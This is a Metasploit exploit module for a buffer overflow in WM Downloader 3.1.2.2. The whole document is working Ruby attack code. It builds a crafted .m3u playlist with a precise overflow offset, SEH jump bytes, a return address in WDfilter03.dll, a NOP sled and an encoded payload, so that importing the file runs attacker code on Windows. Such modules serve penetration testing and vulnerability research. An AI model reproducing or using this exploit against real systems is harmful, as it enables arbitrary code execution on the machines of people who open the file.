WM Downloader 3.1.2.2 – Local Buffer Overflow (Metasploit) (2)
## # $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in WM Downloader v3.1.2.2. When the application is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'fdisk', # Original Exploit 'dookie' # MSF Module ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'OSVDB', '66911'], [ 'URL', 'http://www.exploit-db.com/exploits/14497/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x09\x0a", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jul 28 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), ], self.class) end def exploit sploit = rand_text_alpha_upper(43480) # Offset for WinXP sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset sploit << [target.ret].pack('V') # Offset sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset sploit << "\xeb\x0C\x90\x90" # Jump over the cruft sploit << [target.ret].pack('V') # Offset sploit << "\x90" * 8 sploit << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |